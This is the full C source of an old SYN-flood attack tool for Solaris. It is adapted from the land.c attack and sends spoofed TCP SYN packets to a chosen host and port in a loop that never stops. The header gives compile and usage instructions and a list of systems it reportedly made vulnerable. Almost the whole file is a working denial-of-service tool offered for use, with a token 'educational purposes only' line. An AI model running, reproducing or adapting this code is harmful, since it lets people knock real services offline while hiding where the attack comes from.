/* Syn Attack against a port for Solaris                     */
/* Original land attack, land.c by m3lt, FLC                 */
/* Ported to 44BSD by blast and jerm                         */
/* Ported to Solaris by ziro antagonist                      */
/* Referenced flood.c by unknown author                      */
/* Converted into a syn attack against one port by CRG       */
/* Please use this for educational purposes only             */
/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */
/* Additional notes:                                         */
/* Successfully compiled on Solaris 2.51 and 2.6             */
/* Runs: synsol <dstIP> <dstPort> <spoofedsrcIP>             */
/*                                                           */
/* Tested it on: Solaris 2.6                                 */
/*                                                           */
/* Attacked against:                                         */
/*        Linux 2.0.33    - vulnerable                       */
/*        Linux 2.0.30    - vulnerable                       */
/*        Linux 1.2.13    - vulnerable                       */
/*        Solaris 2.4     - vulnerable                       */
/*        Solaris 2.5.1   - vulnerable                       */
/*        SunOS 4.1.3_U3  - vulnerable                       */
/*        Solaris 2.6     - not vulnerable                   */
/*                                                           */
/* Most of these test machines are not patched because they  */
/* are in test lab. I tested the program against port 23 and */
/* every once in awhile I did get through.                   */
/*                                                           */
/* Direct any comments, questions, improvements to           */
/* packetstorm@genocide2600.com                              */
/* http://www.genocide2600.com/~tattooman/                   */
/* Your emails will be forwarded to the author, who wishes   */
/* to remain known only as CRG (no email addy or URL)        */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

unsigned long srcport;


struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        int nleft = length;
        int sum=0;
        unsigned short *w = data;
        unsigned short value = 0;

        while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
        }

        if (nleft == 1) {
         *(unsigned char *) (&value) = *(unsigned char *) w;
         sum += value;
        }
        sum = (sum >>16) + (sum & 0xffff);
        sum += (sum >> 16);
        value = ~sum;
        return(value);
}


int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct sockaddr_in din;
        struct hostent * hoste;
        struct hostent * host1;
        int j,sock,foo, flooddot=1;
        char buffer[40];
        struct ip * ipheader=(struct ip *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"Syn attack against one port.(Infinite)\n");

        if(argc<4)
        {
         fprintf(stderr,"usage: %s <dstIP> <dstport> <spoofed-srcIP>\n",argv[0]);
             return(-1);
        }
        
        fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);
        bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
        sin.sin_family=AF_INET;
        
        if((host1=gethostbyname(argv[3]))!=NULL)
                bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
        else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
        {
                fprintf(stderr,"unknown source host %s\n",argv[3]);
                return(-1);
        }
        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown destination host %s\n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }


        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        foo=1;
        if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
        {
                fprintf(stderr,"couldn't set raw header on socket\n");
                return(-1);
        }
for(j=1;j>0;j++)
  {
        bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
        
        ipheader->ip_v=4;
        ipheader->ip_tos=0;
        ipheader->ip_hl=sizeof(struct ip)/4;
        ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
        ipheader->ip_id=htons(random());
        ipheader->ip_ttl=30; /*255;*/
        ipheader->ip_p=IPPROTO_TCP;
        ipheader->ip_sum=0;
        ipheader->ip_src=din.sin_addr;
        ipheader->ip_dst=sin.sin_addr;

        tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0x28374839);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);
        tcpheader->th_sum=0;

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
       tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
      
       srcport= (10000.0*random()/(15000+1.0));
       if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)

        {
                fprintf(stderr,"couldn't send packet,%d\n",errno);
                return(-1);
        }
       
        usleep(2);
      
      if (!(flooddot = (flooddot+1)%(1)))
         {fprintf(stdout,".");fflush(stdout);}


 }  /*The end of the infinite loop*/
        close(sock);
        return(0);
}